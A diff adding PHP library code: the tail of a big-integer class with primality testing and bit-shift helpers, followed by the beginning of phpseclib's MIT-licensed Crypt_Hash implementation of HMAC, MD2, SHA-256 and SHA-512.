+    {
+        $length = strlen($this->toBytes());
+
+        if (!$t) {
+            // see HAC 4.49 "Note (controlling the error probability)"
+            // @codingStandardsIgnoreStart
+                 if ($length >= 163) { $t =  2; } // floor(1300 / 8)
+            else if ($length >= 106) { $t =  3; } // floor( 850 / 8)
+            else if ($length >= 81 ) { $t =  4; } // floor( 650 / 8)
+            else if ($length >= 68 ) { $t =  5; } // floor( 550 / 8)
+            else if ($length >= 56 ) { $t =  6; } // floor( 450 / 8)
+            else if ($length >= 50 ) { $t =  7; } // floor( 400 / 8)
+            else if ($length >= 43 ) { $t =  8; } // floor( 350 / 8)
+            else if ($length >= 37 ) { $t =  9; } // floor( 300 / 8)
+            else if ($length >= 31 ) { $t = 12; } // floor( 250 / 8)
+            else if ($length >= 25 ) { $t = 15; } // floor( 200 / 8)
+            else if ($length >= 18 ) { $t = 18; } // floor( 150 / 8)
+            else                     { $t = 27; }
+            // @codingStandardsIgnoreEnd
+        }
+
+        // ie. gmp_testbit($this, 0)
+        // ie. isEven() or !isOdd()
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                return gmp_prob_prime($this->value, $t) != 0;
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                if ($this->value === '2') {
+                    return true;
+                }
+                if ($this->value[strlen($this->value) - 1] % 2 == 0) {
+                    return false;
+                }
+                break;
+            default:
+                if ($this->value == array(2)) {
+                    return true;
+                }
+                if (~$this->value[0] & 1) {
+                    return false;
+                }
+        }
+
+        static $primes, $zero, $one, $two;
+
+        if (!isset($primes)) {
+            $primes = array(
+                3,    5,    7,    11,   13,   17,   19,   23,   29,   31,   37,   41,   43,   47,   53,   59,
+                61,   67,   71,   73,   79,   83,   89,   97,   101,  103,  107,  109,  113,  127,  131,  137,
+                139,  149,  151,  157,  163,  167,  173,  179,  181,  191,  193,  197,  199,  211,  223,  227,
+                229,  233,  239,  241,  251,  257,  263,  269,  271,  277,  281,  283,  293,  307,  311,  313,
+                317,  331,  337,  347,  349,  353,  359,  367,  373,  379,  383,  389,  397,  401,  409,  419,
+                421,  431,  433,  439,  443,  449,  457,  461,  463,  467,  479,  487,  491,  499,  503,  509,
+                521,  523,  541,  547,  557,  563,  569,  571,  577,  587,  593,  599,  601,  607,  613,  617,
+                619,  631,  641,  643,  647,  653,  659,  661,  673,  677,  683,  691,  701,  709,  719,  727,
+                733,  739,  743,  751,  757,  761,  769,  773,  787,  797,  809,  811,  821,  823,  827,  829,
+                839,  853,  857,  859,  863,  877,  881,  883,  887,  907,  911,  919,  929,  937,  941,  947,
+                953,  967,  971,  977,  983,  991,  997
+            );
+
+            if ( MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL ) {
+                for ($i = 0; $i < count($primes); ++$i) {
+                    $primes[$i] = new Math_BigInteger($primes[$i]);
+                }
+            }
+
+            $zero = new Math_BigInteger();
+            $one = new Math_BigInteger(1);
+            $two = new Math_BigInteger(2);
+        }
+
+        if ($this->equals($one)) {
+            return false;
+        }
+
+        // see HAC 4.4.1 "Random search for probable primes"
+        if ( MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL ) {
+            foreach ($primes as $prime) {
+                list(, $r) = $this->divide($prime);
+                if ($r->equals($zero)) {
+                    return $this->equals($prime);
+                }
+            }
+        } else {
+            $value = $this->value;
+            foreach ($primes as $prime) {
+                list(, $r) = $this->_divide_digit($value, $prime);
+                if (!$r) {
+                    return count($value) == 1 && $value[0] == $prime;
+                }
+            }
+        }
+
+        $n   = $this->copy();
+        $n_1 = $n->subtract($one);
+        $n_2 = $n->subtract($two);
+
+        $r = $n_1->copy();
+        $r_value = $r->value;
+        // ie. $s = gmp_scan1($n, 0) and $r = gmp_div_q($n, gmp_pow(gmp_init('2'), $s));
+        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH ) {
+            $s = 0;
+            // if $n was 1, $r would be 0 and this would be an infinite loop, hence our $this->equals($one) check earlier
+            while ($r->value[strlen($r->value) - 1] % 2 == 0) {
+                $r->value = bcdiv($r->value, '2', 0);
+                ++$s;
+            }
+        } else {
+            for ($i = 0, $r_length = count($r_value); $i < $r_length; ++$i) {
+                $temp = ~$r_value[$i] & 0xFFFFFF;
+                for ($j = 1; ($temp >> $j) & 1; ++$j);
+                if ($j != 25) {
+                    break;
+                }
+            }
+            $s = 26 * $i + $j - 1;
+            $r->_rshift($s);
+        }
+
+        for ($i = 0; $i < $t; ++$i) {
+            $a = $this->random($two, $n_2);
+            $y = $a->modPow($r, $n);
+
+            if (!$y->equals($one) && !$y->equals($n_1)) {
+                for ($j = 1; $j < $s && !$y->equals($n_1); ++$j) {
+                    $y = $y->modPow($two, $n);
+                    if ($y->equals($one)) {
+                        return false;
+                    }
+                }
+
+                if (!$y->equals($n_1)) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Logical Left Shift
+     *
+     * Shifts BigInteger's by $shift bits.
+     *
+     * @param Integer $shift
+     * @access private
+     */
+    function _lshift($shift)
+    {
+        if ( $shift == 0 ) {
+            return;
+        }
+
+        $num_digits = (int) ($shift / MATH_BIGINTEGER_BASE);
+        $shift %= MATH_BIGINTEGER_BASE;
+        $shift = 1 << $shift;
+
+        $carry = 0;
+
+        for ($i = 0; $i < count($this->value); ++$i) {
+            $temp = $this->value[$i] * $shift + $carry;
+            $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
+            $this->value[$i] = (int) ($temp - $carry * MATH_BIGINTEGER_BASE_FULL);
+        }
+
+        if ( $carry ) {
+            $this->value[count($this->value)] = $carry;
+        }
+
+        while ($num_digits--) {
+            array_unshift($this->value, 0);
+        }
+    }
+
+    /**
+     * Logical Right Shift
+     *
+     * Shifts BigInteger's by $shift bits.
+     *
+     * @param Integer $shift
+     * @access private
+     */
+    function _rshift($shift)
+    {
+        if ($shift == 0) {
+            return;
+        }
+
+        $num_digits = (int) ($shift / MATH_BIGINTEGER_BASE);
+        $shift %= MATH_BIGINTEGER_BASE;
+        $carry_shift = MATH_BIGINTEGER_BASE - $shift;
+        $carry_mask = (1 << $shift) - 1;
+
+        if ( $num_digits ) {
+            $this->value = array_slice($this->value, $num_digits);
+        }
+
+        $carry = 0;
+
+        for ($i = count($this->value) - 1; $i >= 0; --$i) {
+            $temp = $this->value[$i] >> $shift | $carry;
+            $carry = ($this->value[$i] & $carry_mask) << $carry_shift;
+            $this->value[$i] = $temp;
+        }
+
+        $this->value = $this->_trim($this->value);
+    }
+
+    /**
+     * Normalize
+     *
+     * Removes leading zeros and truncates (if necessary) to maintain the appropriate precision
+     *
+     * @param Math_BigInteger
+     * @return Math_BigInteger
+     * @see _trim()
+     * @access private
+     */
+    function _normalize($result)
+    {
+        $result->precision = $this->precision;
+        $result->bitmask = $this->bitmask;
+
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                if (!empty($result->bitmask->value)) {
+                    $result->value = gmp_and($result->value, $result->bitmask->value);
+                }
+
+                return $result;
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                if (!empty($result->bitmask->value)) {
+                    $result->value = bcmod($result->value, $result->bitmask->value);
+                }
+
+                return $result;
+        }
+
+        $value = &$result->value;
+
+        if ( !count($value) ) {
+            return $result;
+        }
+
+        $value = $this->_trim($value);
+
+        if (!empty($result->bitmask->value)) {
+            $length = min(count($value), count($this->bitmask->value));
+            $value = array_slice($value, 0, $length);
+
+            for ($i = 0; $i < $length; ++$i) {
+                $value[$i] = $value[$i] & $this->bitmask->value[$i];
+            }
+        }
+
+        return $result;
+    }
+
+    /**
+     * Trim
+     *
+     * Removes leading zeros
+     *
+     * @param Array $value
+     * @return Math_BigInteger
+     * @access private
+     */
+    function _trim($value)
+    {
+        for ($i = count($value) - 1; $i >= 0; --$i) {
+            if ( $value[$i] ) {
+                break;
+            }
+            unset($value[$i]);
+        }
+
+        return $value;
+    }
+
+    /**
+     * Array Repeat
+     *
+     * @param $input Array
+     * @param $multiplier mixed
+     * @return Array
+     * @access private
+     */
+    function _array_repeat($input, $multiplier)
+    {
+        return ($multiplier) ? array_fill(0, $multiplier, $input) : array();
+    }
+
+    /**
+     * Logical Left Shift
+     *
+     * Shifts binary strings $shift bits, essentially multiplying by 2**$shift.
+     *
+     * @param $x String
+     * @param $shift Integer
+     * @return String
+     * @access private
+     */
+    function _base256_lshift(&$x, $shift)
+    {
+        if ($shift == 0) {
+            return;
+        }
+
+        $num_bytes = $shift >> 3; // eg. floor($shift/8)
+        $shift &= 7; // eg. $shift % 8
+
+        $carry = 0;
+        for ($i = strlen($x) - 1; $i >= 0; --$i) {
+            $temp = ord($x[$i]) << $shift | $carry;
+            $x[$i] = chr($temp);
+            $carry = $temp >> 8;
+        }
+        $carry = ($carry != 0) ? chr($carry) : '';
+        $x = $carry . $x . str_repeat(chr(0), $num_bytes);
+    }
+
+    /**
+     * Logical Right Shift
+     *
+     * Shifts binary strings $shift bits, essentially dividing by 2**$shift and returning the remainder.
+     *
+     * @param $x String
+     * @param $shift Integer
+     * @return String
+     * @access private
+     */
+    function _base256_rshift(&$x, $shift)
+    {
+        if ($shift == 0) {
+            $x = ltrim($x, chr(0));
+            return '';
+        }
+
+        $num_bytes = $shift >> 3; // eg. floor($shift/8)
+        $shift &= 7; // eg. $shift % 8
+
+        $remainder = '';
+        if ($num_bytes) {
+            $start = $num_bytes > strlen($x) ? -strlen($x) : -$num_bytes;
+            $remainder = substr($x, $start);
+            $x = substr($x, 0, -$num_bytes);
+        }
+
+        $carry = 0;
+        $carry_shift = 8 - $shift;
+        for ($i = 0; $i < strlen($x); ++$i) {
+            $temp = (ord($x[$i]) >> $shift) | $carry;
+            $carry = (ord($x[$i]) << $carry_shift) & 0xFF;
+            $x[$i] = chr($temp);
+        }
+        $x = ltrim($x, chr(0));
+
+        $remainder = chr($carry >> $carry_shift) . $remainder;
+
+        return ltrim($remainder, chr(0));
+    }
+
+    // one quirk about how the following functions are implemented is that PHP defines N to be an unsigned long
+    // at 32-bits, while java's longs are 64-bits.
+
+    /**
+     * Converts 32-bit integers to bytes.
+     *
+     * @param Integer $x
+     * @return String
+     * @access private
+     */
+    function _int2bytes($x)
+    {
+        return ltrim(pack('N', $x), chr(0));
+    }
+
+    /**
+     * Converts bytes to 32-bit integers
+     *
+     * @param String $x
+     * @return Integer
+     * @access private
+     */
+    function _bytes2int($x)
+    {
+        $temp = unpack('Nint', str_pad($x, 4, chr(0), STR_PAD_LEFT));
+        return $temp['int'];
+    }
+
+    /**
+     * DER-encode an integer
+     *
+     * The ability to DER-encode integers is needed to create RSA public keys for use with OpenSSL
+     *
+     * @see modPow()
+     * @access private
+     * @param Integer $length
+     * @return String
+     */
+    function _encodeASN1Length($length)
+    {
+        if ($length <= 0x7F) {
+            return chr($length);
+        }
+
+        $temp = ltrim(pack('N', $length), chr(0));
+        return pack('Ca*', 0x80 | strlen($temp), $temp);
+    }
+
+    /**
+     * Single digit division
+     *
+     * Even if int64 is being used the division operator will return a float64 value
+     * if the dividend is not evenly divisible by the divisor. Since a float64 doesn't
+     * have the precision of int64 this is a problem so, when int64 is being used,
+     * we'll guarantee that the dividend is divisible by first subtracting the remainder.
+     *
+     * @access private
+     * @param Integer $x
+     * @param Integer $y
+     * @return Integer
+     */
+    function _safe_divide($x, $y)
+    {
+        if (MATH_BIGINTEGER_BASE === 26) {
+            return (int) ($x / $y);
+        }
+
+        // MATH_BIGINTEGER_BASE === 31
+        return ($x - ($x % $y)) / $y;
+    }
+}

source/scripts/phpbypass/var/www/crypt/Hash.php

@@ -0,0 +1,841 @@
+<?php
+
+/**
+ * Pure-PHP implementations of keyed-hash message authentication codes (HMACs) and various cryptographic hashing functions.
+ *
+ * Uses hash() or mhash() if available and an internal implementation, otherwise.  Currently supports the following:
+ *
+ * md2, md5, md5-96, sha1, sha1-96, sha256, sha256-96, sha384, and sha512, sha512-96
+ *
+ * If {@link Crypt_Hash::setKey() setKey()} is called, {@link Crypt_Hash::hash() hash()} will return the HMAC as opposed to
+ * the hash.  If no valid algorithm is provided, sha1 will be used.
+ *
+ * PHP versions 4 and 5
+ *
+ * {@internal The variable names are the same as those in
+ * {@link http://tools.ietf.org/html/rfc2104#section-2 RFC2104}.}}
+ *
+ * Here's a short example of how to use this library:
+ * <code>
+ * <?php
+ *    include 'Crypt/Hash.php';
+ *
+ *    $hash = new Crypt_Hash('sha1');
+ *
+ *    $hash->setKey('abcdefg');
+ *
+ *    echo base64_encode($hash->hash('abcdefg'));
+ * ?>
+ * </code>
+ *
+ * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * @category  Crypt
+ * @package   Crypt_Hash
+ * @author    Jim Wigginton <terrafrost@php.net>
+ * @copyright 2007 Jim Wigginton
+ * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
+ * @link      http://phpseclib.sourceforge.net
+ */
+
+/**#@+
+ * @access private
+ * @see Crypt_Hash::Crypt_Hash()
+ */
+/**
+ * Toggles the internal implementation
+ */
+define('CRYPT_HASH_MODE_INTERNAL', 1);
+/**
+ * Toggles the mhash() implementation, which has been deprecated on PHP 5.3.0+.
+ */
+define('CRYPT_HASH_MODE_MHASH',    2);
+/**
+ * Toggles the hash() implementation, which works on PHP 5.1.2+.
+ */
+define('CRYPT_HASH_MODE_HASH',     3);
+/**#@-*/
+
+/**
+ * Pure-PHP implementations of keyed-hash message authentication codes (HMACs) and various cryptographic hashing functions.
+ *
+ * @package Crypt_Hash
+ * @author  Jim Wigginton <terrafrost@php.net>
+ * @access  public
+ */
+class Crypt_Hash
+{
+    /**
+     * Hash Parameter
+     *
+     * @see Crypt_Hash::setHash()
+     * @var Integer
+     * @access private
+     */
+    var $hashParam;
+
+    /**
+     * Byte-length of compression blocks / key (Internal HMAC)
+     *
+     * @see Crypt_Hash::setAlgorithm()
+     * @var Integer
+     * @access private
+     */
+    var $b;
+
+    /**
+     * Byte-length of hash output (Internal HMAC)
+     *
+     * @see Crypt_Hash::setHash()
+     * @var Integer
+     * @access private
+     */
+    var $l = false;
+
+    /**
+     * Hash Algorithm
+     *
+     * @see Crypt_Hash::setHash()
+     * @var String
+     * @access private
+     */
+    var $hash;
+
+    /**
+     * Key
+     *
+     * @see Crypt_Hash::setKey()
+     * @var String
+     * @access private
+     */
+    var $key = false;
+
+    /**
+     * Outer XOR (Internal HMAC)
+     *
+     * @see Crypt_Hash::setKey()
+     * @var String
+     * @access private
+     */
+    var $opad;
+
+    /**
+     * Inner XOR (Internal HMAC)
+     *
+     * @see Crypt_Hash::setKey()
+     * @var String
+     * @access private
+     */
+    var $ipad;
+
+    /**
+     * Default Constructor.
+     *
+     * @param optional String $hash
+     * @return Crypt_Hash
+     * @access public
+     */
+    function Crypt_Hash($hash = 'sha1')
+    {
+        if ( !defined('CRYPT_HASH_MODE') ) {
+            switch (true) {
+                case extension_loaded('hash'):
+                    define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_HASH);
+                    break;
+                case extension_loaded('mhash'):
+                    define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_MHASH);
+                    break;
+                default:
+                    define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_INTERNAL);
+            }
+        }
+
+        $this->setHash($hash);
+    }
+
+    /**
+     * Sets the key for HMACs
+     *
+     * Keys can be of any length.
+     *
+     * @access public
+     * @param optional String $key
+     */
+    function setKey($key = false)
+    {
+        $this->key = $key;
+    }
+
+    /**
+     * Gets the hash function.
+     *
+     * As set by the constructor or by the setHash() method.
+     *
+     * @access public
+     * @return String
+     */
+    function getHash()
+    {
+        return $this->hashParam;
+    }
+
+    /**
+     * Sets the hash function.
+     *
+     * @access public
+     * @param String $hash
+     */
+    function setHash($hash)
+    {
+        $this->hashParam = $hash = strtolower($hash);
+        switch ($hash) {
+            case 'md5-96':
+            case 'sha1-96':
+            case 'sha256-96':
+            case 'sha512-96':
+                $hash = substr($hash, 0, -3);
+                $this->l = 12; // 96 / 8 = 12
+                break;
+            case 'md2':
+            case 'md5':
+                $this->l = 16;
+                break;
+            case 'sha1':
+                $this->l = 20;
+                break;
+            case 'sha256':
+                $this->l = 32;
+                break;
+            case 'sha384':
+                $this->l = 48;
+                break;
+            case 'sha512':
+                $this->l = 64;
+        }
+
+        switch ($hash) {
+            case 'md2':
+                $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_HASH && in_array('md2', hash_algos()) ?
+                    CRYPT_HASH_MODE_HASH : CRYPT_HASH_MODE_INTERNAL;
+                break;
+            case 'sha384':
+            case 'sha512':
+                $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_MHASH ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE;
+                break;
+            default:
+                $mode = CRYPT_HASH_MODE;
+        }
+
+        switch ( $mode ) {
+            case CRYPT_HASH_MODE_MHASH:
+                switch ($hash) {
+                    case 'md5':
+                        $this->hash = MHASH_MD5;
+                        break;
+                    case 'sha256':
+                        $this->hash = MHASH_SHA256;
+                        break;
+                    case 'sha1':
+                    default:
+                        $this->hash = MHASH_SHA1;
+                }
+                return;
+            case CRYPT_HASH_MODE_HASH:
+                switch ($hash) {
+                    case 'md5':
+                        $this->hash = 'md5';
+                        return;
+                    case 'md2':
+                    case 'sha256':
+                    case 'sha384':
+                    case 'sha512':
+                        $this->hash = $hash;
+                        return;
+                    case 'sha1':
+                    default:
+                        $this->hash = 'sha1';
+                }
+                return;
+        }
+
+        switch ($hash) {
+            case 'md2':
+                 $this->b = 16;
+                 $this->hash = array($this, '_md2');
+                 break;
+            case 'md5':
+                 $this->b = 64;
+                 $this->hash = array($this, '_md5');
+                 break;
+            case 'sha256':
+                 $this->b = 64;
+                 $this->hash = array($this, '_sha256');
+                 break;
+            case 'sha384':
+            case 'sha512':
+                 $this->b = 128;
+                 $this->hash = array($this, '_sha512');
+                 break;
+            case 'sha1':
+            default:
+                 $this->b = 64;
+                 $this->hash = array($this, '_sha1');
+        }
+
+        $this->ipad = str_repeat(chr(0x36), $this->b);
+        $this->opad = str_repeat(chr(0x5C), $this->b);
+    }
+
+    /**
+     * Compute the HMAC.
+     *
+     * @access public
+     * @param String $text
+     * @return String
+     */
+    function hash($text)
+    {
+        $mode = is_array($this->hash) ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE;
+
+        if (!empty($this->key) || is_string($this->key)) {
+            switch ( $mode ) {
+                case CRYPT_HASH_MODE_MHASH:
+                    $output = mhash($this->hash, $text, $this->key);
+                    break;
+                case CRYPT_HASH_MODE_HASH:
+                    $output = hash_hmac($this->hash, $text, $this->key, true);
+                    break;
+                case CRYPT_HASH_MODE_INTERNAL:
+                    /* "Applications that use keys longer than B bytes will first hash the key using H and then use the
+                        resultant L byte string as the actual key to HMAC."
+
+                        -- http://tools.ietf.org/html/rfc2104#section-2 */
+                    $key = strlen($this->key) > $this->b ? call_user_func($this->hash, $this->key) : $this->key;
+
+                    $key    = str_pad($key, $this->b, chr(0));      // step 1
+                    $temp   = $this->ipad ^ $key;                   // step 2
+                    $temp  .= $text;                                // step 3
+                    $temp   = call_user_func($this->hash, $temp);   // step 4
+                    $output = $this->opad ^ $key;                   // step 5
+                    $output.= $temp;                                // step 6
+                    $output = call_user_func($this->hash, $output); // step 7
+            }
+        } else {
+            switch ( $mode ) {
+                case CRYPT_HASH_MODE_MHASH:
+                    $output = mhash($this->hash, $text);
+                    break;
+                case CRYPT_HASH_MODE_HASH:
+                    $output = hash($this->hash, $text, true);
+                    break;
+                case CRYPT_HASH_MODE_INTERNAL:
+                    $output = call_user_func($this->hash, $text);
+            }
+        }
+
+        return substr($output, 0, $this->l);
+    }
+
+    /**
+     * Returns the hash length (in bytes)
+     *
+     * @access public
+     * @return Integer
+     */
+    function getLength()
+    {
+        return $this->l;
+    }
+
+    /**
+     * Wrapper for MD5
+     *
+     * @access private
+     * @param String $m
+     */
+    function _md5($m)
+    {
+        return pack('H*', md5($m));
+    }
+
+    /**
+     * Wrapper for SHA1
+     *
+     * @access private
+     * @param String $m
+     */
+    function _sha1($m)
+    {
+        return pack('H*', sha1($m));
+    }
+
+    /**
+     * Pure-PHP implementation of MD2
+     *
+     * See {@link http://tools.ietf.org/html/rfc1319 RFC1319}.
+     *
+     * @access private
+     * @param String $m
+     */
+    function _md2($m)
+    {
+        static $s = array(
+             41,  46,  67, 201, 162, 216, 124,   1,  61,  54,  84, 161, 236, 240, 6,
+             19,  98, 167,   5, 243, 192, 199, 115, 140, 152, 147,  43, 217, 188,
+             76, 130, 202,  30, 155,  87,  60, 253, 212, 224,  22, 103,  66, 111, 24,
+            138,  23, 229,  18, 190,  78, 196, 214, 218, 158, 222,  73, 160, 251,
+            245, 142, 187,  47, 238, 122, 169, 104, 121, 145,  21, 178,   7,  63,
+            148, 194,  16, 137,  11,  34,  95,  33, 128, 127,  93, 154,  90, 144, 50,
+             39,  53,  62, 204, 231, 191, 247, 151,   3, 255,  25,  48, 179,  72, 165,
+            181, 209, 215,  94, 146,  42, 172,  86, 170, 198,  79, 184,  56, 210,
+            150, 164, 125, 182, 118, 252, 107, 226, 156, 116,   4, 241,  69, 157,
+            112,  89, 100, 113, 135,  32, 134,  91, 207, 101, 230,  45, 168,   2, 27,
+             96,  37, 173, 174, 176, 185, 246,  28,  70,  97, 105,  52,  64, 126, 15,
+             85,  71, 163,  35, 221,  81, 175,  58, 195,  92, 249, 206, 186, 197,
+            234,  38,  44,  83,  13, 110, 133,  40, 132,   9, 211, 223, 205, 244, 65,
+            129,  77,  82, 106, 220,  55, 200, 108, 193, 171, 250,  36, 225, 123,
+              8,  12, 189, 177,  74, 120, 136, 149, 139, 227,  99, 232, 109, 233,
+            203, 213, 254,  59,   0,  29,  57, 242, 239, 183,  14, 102,  88, 208, 228,
+            166, 119, 114, 248, 235, 117,  75,  10,  49,  68,  80, 180, 143, 237,
+             31,  26, 219, 153, 141,  51, 159,  17, 131, 20
+        );
+
+        // Step 1. Append Padding Bytes
+        $pad = 16 - (strlen($m) & 0xF);
+        $m.= str_repeat(chr($pad), $pad);
+
+        $length = strlen($m);
+
+        // Step 2. Append Checksum
+        $c = str_repeat(chr(0), 16);
+        $l = chr(0);
+        for ($i = 0; $i < $length; $i+= 16) {
+            for ($j = 0; $j < 16; $j++) {
+                // RFC1319 incorrectly states that C[j] should be set to S[c xor L]
+                //$c[$j] = chr($s[ord($m[$i + $j] ^ $l)]);
+                // per <http://www.rfc-editor.org/errata_search.php?rfc=1319>, however, C[j] should be set to S[c xor L] xor C[j]
+                $c[$j] = chr($s[ord($m[$i + $j] ^ $l)] ^ ord($c[$j]));
+                $l = $c[$j];
+            }
+        }
+        $m.= $c;
+
+        $length+= 16;
+
+        // Step 3. Initialize MD Buffer
+        $x = str_repeat(chr(0), 48);
+
+        // Step 4. Process Message in 16-Byte Blocks
+        for ($i = 0; $i < $length; $i+= 16) {
+            for ($j = 0; $j < 16; $j++) {
+                $x[$j + 16] = $m[$i + $j];
+                $x[$j + 32] = $x[$j + 16] ^ $x[$j];
+            }
+            $t = chr(0);
+            for ($j = 0; $j < 18; $j++) {
+                for ($k = 0; $k < 48; $k++) {
+                    $x[$k] = $t = $x[$k] ^ chr($s[ord($t)]);
+                    //$t = $x[$k] = $x[$k] ^ chr($s[ord($t)]);
+                }
+                $t = chr(ord($t) + $j);
+            }
+        }
+
+        // Step 5. Output
+        return substr($x, 0, 16);
+    }
+
+    /**
+     * Pure-PHP implementation of SHA256
+     *
+     * See {@link http://en.wikipedia.org/wiki/SHA_hash_functions#SHA-256_.28a_SHA-2_variant.29_pseudocode SHA-256 (a SHA-2 variant) pseudocode - Wikipedia}.
+     *
+     * @access private
+     * @param String $m
+     */
+    function _sha256($m)
+    {
+        if (extension_loaded('suhosin')) {
+            return pack('H*', sha256($m));
+        }
+
+        // Initialize variables
+        $hash = array(
+            0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
+        );
+        // Initialize table of round constants
+        // (first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311)
+        static $k = array(
+            0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
+            0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
+            0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
+            0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
+            0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
+            0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
+            0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
+            0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
+        );
+
+        // Pre-processing
+        $length = strlen($m);
+        // to round to nearest 56 mod 64, we'll add 64 - (length + (64 - 56)) % 64
+        $m.= str_repeat(chr(0), 64 - (($length + 8) & 0x3F));
+        $m[$length] = chr(0x80);
+        // we don't support hashing strings 512MB long
+        $m.= pack('N2', 0, $length << 3);
+
+        // Process the message in successive 512-bit chunks
+        $chunks = str_split($m, 64);
+        foreach ($chunks as $chunk) {
+            $w = array();
+            for ($i = 0; $i < 16; $i++) {
+                extract(unpack('Ntemp', $this->_string_shift($chunk, 4)));
+                $w[] = $temp;
+            }
+
+            // Extend the sixteen 32-bit words into sixty-four 32-bit words
+            for ($i = 16; $i < 64; $i++) {
+                $s0 = $this->_rightRotate($w[$i - 15],  7) ^
+                      $this->_rightRotate($w[$i - 15], 18) ^
+                      $this->_rightShift( $w[$i - 15],  3);
+                $s1 = $this->_rightRotate($w[$i - 2], 17) ^
+                      $this->_rightRotate($w[$i - 2], 19) ^
+                      $this->_rightShift( $w[$i - 2], 10);
+                $w[$i] = $this->_add($w[$i - 16], $s0, $w[$i - 7], $s1);
+
+            }
+
+            // Initialize hash value for this chunk
+            list($a, $b, $c, $d, $e, $f, $g, $h) = $hash;
+
+            // Main loop
+            for ($i = 0; $i < 64; $i++) {
+                $s0 = $this->_rightRotate($a,  2) ^
+                      $this->_rightRotate($a, 13) ^
+                      $this->_rightRotate($a, 22);
+                $maj = ($a & $b) ^
+                       ($a & $c) ^
+                       ($b & $c);
+                $t2 = $this->_add($s0, $maj);
+
+                $s1 = $this->_rightRotate($e,  6) ^
+                      $this->_rightRotate($e, 11) ^
+                      $this->_rightRotate($e, 25);
+                $ch = ($e & $f) ^
+                      ($this->_not($e) & $g);
+                $t1 = $this->_add($h, $s1, $ch, $k[$i], $w[$i]);
+
+                $h = $g;
+                $g = $f;
+                $f = $e;
+                $e = $this->_add($d, $t1);
+                $d = $c;
+                $c = $b;
+                $b = $a;
+                $a = $this->_add($t1, $t2);
+            }
+
+            // Add this chunk's hash to result so far
+            $hash = array(
+                $this->_add($hash[0], $a),
+                $this->_add($hash[1], $b),
+                $this->_add($hash[2], $c),
+                $this->_add($hash[3], $d),
+                $this->_add($hash[4], $e),
+                $this->_add($hash[5], $f),
+                $this->_add($hash[6], $g),
+                $this->_add($hash[7], $h)
+            );
+        }
+
+        // Produce the final hash value (big-endian)
+        return pack('N8', $hash[0], $hash[1], $hash[2], $hash[3], $hash[4], $hash[5], $hash[6], $hash[7]);
+    }
+
+    /**
+     * Pure-PHP implementation of SHA384 and SHA512
+     *
+     * @access private
+     * @param String $m
+     */
+    function _sha512($m)
+    {
+        if (!class_exists('Math_BigInteger')) {
+            include_once 'Math/BigInteger.php';
+        }
+
+        static $init384, $init512, $k;
+
+        if (!isset($k)) {
+            // Initialize variables
+            $init384 = array( // initial values for SHA384
+                'cbbb9d5dc1059ed8', '629a292a367cd507', '9159015a3070dd17', '152fecd8f70e5939',
+                '67332667ffc00b31', '8eb44a8768581511', 'db0c2e0d64f98fa7', '47b5481dbefa4fa4'
+            );
+            $init512 = array( // initial values for SHA512
+                '6a09e667f3bcc908', 'bb67ae8584caa73b', '3c6ef372fe94f82b', 'a54ff53a5f1d36f1',
